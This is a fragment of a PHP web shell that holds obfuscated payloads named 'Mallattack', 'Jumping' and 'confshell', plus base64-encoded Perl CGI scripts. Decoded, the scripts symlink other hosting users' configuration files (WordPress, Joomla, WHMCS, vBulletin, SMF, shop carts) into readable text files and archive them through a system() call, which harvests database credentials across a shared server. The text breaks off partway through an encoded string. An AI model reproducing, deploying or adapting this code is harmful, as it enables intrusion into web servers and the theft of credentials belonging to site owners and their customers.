$self=$_SERVER["PHP_SELF"];
//Mallattack
$mal = "eNqV0UtrAjEQAOC70P8wYHsRyRa8FYpQSR9QXAmCBxHJrkMSjDNhk/pA/O+uFuyx5javj4GZLrzJj68xzLhZTRqM8aGjcNe4hJKMI4SSbpUyJMcUwZHFNr/VR0wreDp+TqeTpZLvUkl1AtHTcS1q3ojeI8zHo36pFv8Jw2w8ZoBNpMuK+0HlyOQJ77aYJzT7TOCT3rqYdB7Dfd0280xE3dRWHLRl/lV/RP14bEfAphReisJ4rrQPvGt/TcboZK8BXy9eOBLBhiG9Dp5hrvrfizOeH7rw";
//PerlConfig
$gantengers="IyEvdXNyL2Jpbi9tYW5udSAtSS91c3IvbG9jYWwvYmFuZG1pbg0KcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG5cbiI7DQpwcmludCc8IURPQ1RZUEUgaHRtbCBQVUJMSUMgIi0vL1czQy8vRFREIFhIVE1MIDEuMCBUcmFuc2l0aW9uYWwvL0VOIiAiaHR0cDovL3d3dy53My5vcmcvVFIveGh0bWwxL0RURC94aHRtbDEtdHJhbnNpdGlvbmFsLmR0ZCI+DQo8aHRtbCB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRtbCI+DQo8aGVhZD4NCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtTGFuZ3VhZ2UiIGNvbnRlbnQ9ImVuLXVzIiAvPg0KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgiIC8+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KLmR6IHsNCmZvbnQtZmFtaWx5OiBUYWhvbWE7DQpmb250LXNpemU6IDE0cHg7DQpmb250LXdlaWdodDogYm9sZDsNCmNvbG9yOiAjMzMzM2ZmOw0KdGV4dC1hbGlnbjogY2VudGVyOw0KdGV4dC1zaGFkb3c6IGJsYWNrIDBweCAwcHggMnB4Ow0KfQ0KI2NoZWNrb3V0dGV4dGFyZWEgew0KDQp3ZWJraXQtYm9yZGVyLXJhZGl1czogMTVweDsNCg0KfQ0KOmhvdmVyI2NoZWNrb3V0dGV4dGFyZWEge29wYWNpdHk6IDAuNjsgYmFja2dyb3VuZC1jb2xvcjozMzMzMzN9DQo8L3N0eWxlPg0KPC9oZWFkPg0KJzsNCnN1YiBsaWx7DQooJHVzZXIpID0gQF87DQokbXNyID0gcXh7cHdkfTsNCiRrb2xhPSRtc3IuIi8iLiR1c2VyOw0KJGtvbGE9fnMvXG4vL2c7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJGtvbGEuJy1zaG9wLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL29zL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCRrb2xhLictc2hvcC1vcy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9vc2NvbS9pbmNsdWRlcy9jb25maWd1cmUucGhwJywka29sYS4nLW9zY29tLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL29zY29tbWVyY2UvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJGtvbGEuJy1vc2NvbW1lcmNlLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL29zY29tbWVyY2VzL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCRrb2xhLictb3Njb21tZXJjZXMudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc2hvcC9pbmNsdWRlcy9jb25maWd1cmUucGhwJywka29sYS4nLXNob3AyLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3Nob3BwaW5nL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCRrb2xhLictc2hvcC1zaG9wcGluZy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zYWxlL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCRrb2xhLictc2FsZS50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hbWVtYmVyL2NvbmZpZy5pbmMucGhwJywka29sYS4nLWFtZW1iZXIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZmlnLmluYy5waHAnLCRrb2xhLictYW1lbWJlcjIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWVtYmVycy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1tZW1iZXJzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZy5waHAnLCRrb2xhLictMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLWZvcnVtLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtcy9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLWZvcnVtcy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25mLnBocCcsJGtvbGEuJy01LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2FkbWluL2NvbmZpZy5waHAnLCRrb2xhLictNC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwJywka29sYS4nLXdwMTMudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd3Avd3AtY29uZmlnLnBocCcsJGtvbGEuJy13cDEzLXdwLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL1dQL3dwLWNvbmZpZy5waHAnLCRrb2xhLictd3AxMy1XUC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93cC9iZXRhL3dwLWNvbmZpZy5waHAnLCRrb2xhLictd3AxMy13cC1iZXRhLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JldGEvd3AtY29uZmlnLnBocCcsJGtvbGEuJy13cDEzLWJldGEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvcHJlc3Mvd3AtY29uZmlnLnBocCcsJGtvbGEuJy13cDEzLXByZXNzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dvcmRwcmVzcy93cC1jb25maWcucGhwJywka29sYS4nLXdwMTMtd29yZHByZXNzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL1dvcmRwcmVzcy93cC1jb25maWcucGhwJywka29sYS4nLXdwMTMtV29yZHByZXNzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dvcmRwcmVzcy9iZXRhL3dwLWNvbmZpZy5waHAnLCRrb2xhLictd3AxMy13b3JkcHJlc3MtYmV0YS50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9uZXdzL3dwLWNvbmZpZy5waHAnLCRrb2xhLictd3AxMy1uZXdzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL25ldy93cC1jb25maWcucGhwJywka29sYS4nLXdwMTMtbmV3LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2Jsb2cvd3AtY29uZmlnLnBocCcsJGtvbGEuJy13cC1ibG9nLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JldGEvd3AtY29uZmlnLnBocCcsJGtvbGEuJy13cC1iZXRhLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2Jsb2dzL3dwLWNvbmZpZy5waHAnLCRrb2xhLictd3AtYmxvZ3MudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaG9tZS93cC1jb25maWcucGhwJywka29sYS4nLXdwLWhvbWUudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvcHJvdGFsL3dwLWNvbmZpZy5waHAnLCRrb2xhLictd3AtcHJvdGFsLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3NpdGUvd3AtY29uZmlnLnBocCcsJGtvbGEuJy13cC1zaXRlLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL21haW4vd3AtY29uZmlnLnBocCcsJGtvbGEuJy13cC1tYWluLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3Rlc3Qvd3AtY29uZmlnLnBocCcsJGtvbGEuJy13cC10ZXN0LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZfZ2xvYmFsLnBocCcsJGtvbGEuJy02LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGUvZGIucGhwJywka29sYS4nLTcudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY29ubmVjdC5waHAnLCRrb2xhLictOC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ta19jb25mLnBocCcsJGtvbGEuJy05LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGUvY29uZmlnLnBocCcsJGtvbGEuJy0xMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9qb29tbGEvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictam9vbWxhMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9wcm90YWwvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictam9vbWxhLXByb3RhbC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9qb28vY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictam9vLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2Ntcy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1qb29tbGEtY21zLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3NpdGUvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictam9vbWxhLXNpdGUudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWFpbi9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1qb29tbGEtbWFpbi50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9uZXdzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWpvb21sYS1uZXdzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL25ldy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1qb29tbGEtbmV3LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2hvbWUvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictam9vbWxhLWhvbWUudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvdmIvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJy12Yi50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC92YjMvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJy12YjMudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJy1pbmNsdWRlcy12Yi50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG0vY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictd2htMTUudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2VudHJhbC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy13aG0tY2VudHJhbC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG0vd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictd2htLXdobWNzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobS9XSE1DUy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy13aG0tV0hNQ1MudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd2htYy9XSE0vY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictd2htYy1XSE0udHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictd2htY3MudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc3VwcG9ydC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1zdXBwb3J0LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3N1cHAvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictc3VwcC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zZWN1cmUvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictc3VjdXJlLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3NlY3VyZS93aG0vY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictc3VjdXJlLXdobS50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zZWN1cmUvd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictc3VjdXJlLXdobWNzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NwYW5lbC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1jcGFuZWwudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvcGFuZWwvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictcGFuZWwudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaG9zdC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1ob3N0LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2hvc3RpbmcvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictaG9zdGluZy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ob3N0cy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1ob3N0cy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1qb29tbGEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc3VibWl0dGlja2V0LnBocCcsJGtvbGEuJy13aG1jczIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50cy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1jbGllbnRzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1jbGllbnQudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50ZXMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictY2xpZW50ZXMudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50ZS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1jbGllbnQudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50c3VwcG9ydC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1jbGllbnRzdXBwb3J0LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JpbGxpbmcvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictYmlsbGluZy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9tYW5hZ2UvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictd2htLW1hbmFnZS50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9teS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy13aG0tbXkudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbXlzaG9wL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLXdobS1teXNob3AudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwJywka29sYS4nLXplbmNhcnQudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvemVuY2FydC9pbmNsdWRlcy9kaXN0LWNvbmZpZ3VyZS5waHAnLCRrb2xhLictc2hvcC16ZW5jYXJ0LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3Nob3AvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwJywka29sYS4nLXNob3AtWkNzaG9wLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL1NldHRpbmdzLnBocCcsJGtvbGEuJy1zbWYudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc21mL1NldHRpbmdzLnBocCcsJGtvbGEuJy1zbWYyLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtL1NldHRpbmdzLnBocCcsJGtvbGEuJy1zbWYtZm9ydW0udHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW1zL1NldHRpbmdzLnBocCcsJGtvbGEuJy1zbWYtZm9ydW1zLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3VwbG9hZC9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLXVwLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3VwL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictdXAyLnR4dCcpOw0KfQ0KaWYgKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgJ1BPU1QnKSB7DQpyZWFkKFNURElOLCAkYnVmZmVyLCAkRU5WeydDT05URU5UX0xFTkdUSCd9KTsNCn0gZWxzZSB7DQokYnVmZmVyID0gJEVOVnsnUVVFUllfU1RSSU5HJ307DQp9DQpAcGFpcnMgPSBzcGxpdCgvJi8sICRidWZmZXIpOw0KZm9yZWFjaCAkcGFpciAoQHBhaXJzKSB7DQooJG5hbWUsICR2YWx1ZSkgPSBzcGxpdCgvPS8sICRwYWlyKTsNCiRuYW1lID1+IHRyLysvIC87DQokbmFtZSA9fiBzLyUoW2EtZkEtRjAtOV1bYS1mQS1GMC05XSkvcGFjaygiQyIsIGhleCgkMSkpL2VnOw0KJHZhbHVlID1+IHRyLysvIC87DQokdmFsdWUgPX4gcy8lKFthLWZBLUYwLTldW2EtZkEtRjAtOV0pL3BhY2soIkMiLCBoZXgoJDEpKS9lZzsNCiRGT1JNeyRuYW1lfSA9ICR2YWx1ZTsNCn0NCmlmICgkRk9STXtwYXNzfSBlcSAiIil7DQpwcmludCAnDQo8Ym9keSBjbGFzcz0iZHoiIGJnY29sb3I9ImJsYWNrIj4NCjxwPjxmb250IGNvbG9yPXdoaXRlPmNvbmZpZ3VyYXRpb24gZmlsZSBraWxsZXI8L3A+DQoNCjxzcGFuPjxmb250IGNvbG9yPSJ3aGl0ZSI+c3VwcGx5IHVzZXJuYW1lcyB0byBzeW1saW5rIGNvbmZpZ3VyYXRpb24gZmlsZXM8L2ZvbnQ+PC9zcGFuPjxiciAvPg0KPGJyIC8+PGZvcm0gbWV0aG9kPSJwb3N0Ij48c3Ryb25nPg0KPHRleHRhcmVhIGlkPSJjaGVja291dHRleHRhcmVhIiBuYW1lPSJwYXNzIiBzdHlsZT0iYm9yZGVyOjJweCBkYXNoZWQgcmVkOyB3aWR0aDogMzAwcHg7IGhlaWdodDogMjAwcHg7IGJhY2tncm91bmQtY29sb3I6YmxhY2s7IGZvbnQtZmFtaWx5OlRhaG9tYTsgZm9udC1zaXplOjlwdDsgY29sb3I6IHJlZCIgPjwvdGV4dGFyZWE+PGJyIC8+DQombmJzcDsNCjxwPg0KPGlucHV0IG5hbWU9IlN1Ym1pdDEiIHR5cGU9InN1Ym1pdCIgdmFsdWU9InNwaW4gaXQgOC0pIiBzdHlsZT0iYm9yZGVyOjFweCBkb3R0ZWQgIzAwRkZGRjsgd2lkdGg6IDk5OyBmb250LWZhbWlseTpUYWhvbWE7IGZvbnQtc2l6ZToxMHB0OyBjb2xvcjogYmxhY2s7IHRleHQtdHJhbnNmb3JtOnVwcGVyY2FzZTsgaGVpZ2h0OjIzOyBiYWNrZ3JvdW5kLWNvbG9yOiNGNEY0RjQ7IiAvPjwvcD4NCjwvZm9ybT48L3N0cm9uZz4NCic7DQp9ZWxzZXsNCkBsaW5lcyA9PCRGT1JNe3Bhc3N9PjsNCiR5ID0gQGxpbmVzOw0Kb3BlbiAoTVlGSUxFLCAiPnRhci50bXAiKTsNCnByaW50IE1ZRklMRSAidGFyIC1jemYgIi4kRk9STXt0YXJ9LiIudGFyICI7DQpmb3IgKCRrYT0wOyRrYTwkeTska2ErKyl7DQp3aGlsZShAbGluZXNbJGthXSA9fiBtLyguKj8pOng6L2cpew0KJmxpbCgkMSk7DQpwcmludCBNWUZJTEUgJDEuIi50eHQgIjsNCmZvcigka2Q9MTska2Q8MTg7JGtkKyspew0KcHJpbnQgTVlGSUxFICQxLiRrZC4iLnR4dCAiOw0KfQ0KfQ0KfQ0KcHJpbnQnPGJvZHkgY2xhc3M9ImR6IiBiZ2NvbG9yPSJibGFjayI+DQo8aDI+ZG9uZSA8L2gyPg0KPHA+Jm5ic3A7PC9wPic7DQppZigkRk9STXt0YXJ9IG5lICIiKXsNCm9wZW4oSU5GTywgInRhci50bXAiKTsNCkBsaW5lcyA9PElORk8+IDsNCmNsb3NlKElORk8pOw0Kc3lzdGVtKEBsaW5lcyk7DQpwcmludCc8cD48YSBocmVmPSInLiRGT1JNe3Rhcn0uJy50YXIiPjxmb250IGNvbG9yPSIjMDBGRjAwIj4NCjxzcGFuIHN0eWxlPSJ0ZXh0LWRlY29yYXRpb246IG5vbmUiPjwvc3Bhbj48L2ZvbnQ+PC9hPjwvcD4nOw0KfQ0KfQ0KcHJpbnQiDQo8L2JvZHk+DQo8L2h0bWw+";
//Jumping
$jumper="zVPdbtMwFL6ftHc4tSLZ0dKmwF2bpEgILkFar2CbghPbxCiJI9thK9MeiLfkOFnLygXXKErkfj/n15V1Y4BknlethLrlzuW3pO5EZR5uSZF5i6+A2rRu4D1SrxElW7i8YJHrIAfd6/Kb9Iw6rmTZGSFpDHkO6xh2qJpF1ChFNyC0ZOS9tcZuYH+UI/2pz1IvCvzY8AmlFJcXmdA/ThXpXhnMvB8t7/bNm7bNUqQL+Ev2nR84yuCL6Sotl9fGePgFZCW4l4x+ponXnWRxvCIIRg8feSfxuF3GMMcjcWjNSV8GYdnqTnu2RvBtNGCGe4HVKjPIntFU+jqdQZpQSyenVsAWz9IYHkPHwMjN8g6mtmED78wo+q8eriUX8CLG/zSBp7C4YaywWW4tPzDEotFJ686Q2vTqDND4a72F+0a3ki2UNIodZxE/TpfB2zBAvC/uxGwhDA29Bbxar1EXDSbkQS0eWPAkdDOPdyqix5IDP1ZIzfw6CaZQgtD2Z7hwaWM6mdLVybGiKXbU6rpsfNem9Lgt9ifmAn00VBpw7UqLKwqbYFPUQEytlsPomtnmkpMbk79kMVcy28I4wxPpq6twVgbj1g08RwDu5tlOE5Lh30hvPpixF7C4g4xDY6XKye6Qn7V03g4p/kGmWcqLrLIFnTe7K34D";
//confshell
$configshell = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQpwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxcblxuIjsNCnByaW50JzwhRE9DVFlQRSBodG1sIFBVQkxJQyAiLS8vVzNDLy9EVEQgWEhUTUwgMS4wIFRyYW5zaXRpb25hbC8vRU4iICJodHRwOi8vd3d3LnczLm9yZy9UUi94aHRtbDEvRFREL3hodG1sMS10cmFuc2l0aW9uYWwuZHRkIj4NCjxodG1sIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4NCg0KPGhlYWQ+DQo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LUxhbmd1YWdlIiBjb250ZW50PSJlbi11cyIgLz4NCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04IiAvPg0KPHRpdGxlPlByaXY4IFNDUjwvdGl0bGU+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KLm5ld1N0eWxlMSB7DQogZm9udC1mYW1pbHk6IHRhaG9tYSwgdmVyZGFuYSwgQXJpYWw7DQogZm9udC1zaXplOiBtZWRpdW07DQogY29sb3I6ICNGRkZGRkY7DQogYmFja2dyb3VuZC1jb2xvcjogIzY2NjY2NjsNCiB0ZXh0LWFsaWduOiBjZW50ZXI7DQp9DQo8L3N0eWxlPg0KPC9oZWFkPg0KJzsNCnN1YiBsaWx7DQogICAgKCR1c2VyKSA9IEBfOw0KJG1zciA9IHF4e3B3ZH07DQoka29sYT0kbXNyLiIvIi4kdXNlcjsNCiRrb2xhPX5zL1xuLy9nOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JldGEvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictam9vbWxhLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWpvb21sYS50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ob21lL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWpvb21sYSAtIGhvbWUudHh0JykgOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwJywka29sYS4nLXdvcmRwcmVzcy50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ibG9nL3dwLWNvbmZpZy5waHAnLCRrb2xhLictd29yZHByZXNzLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dlYi93cC1jb25maWcucGhwJywka29sYS4nLXdvcmRwcmVzcyAtIHdlYi50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lLy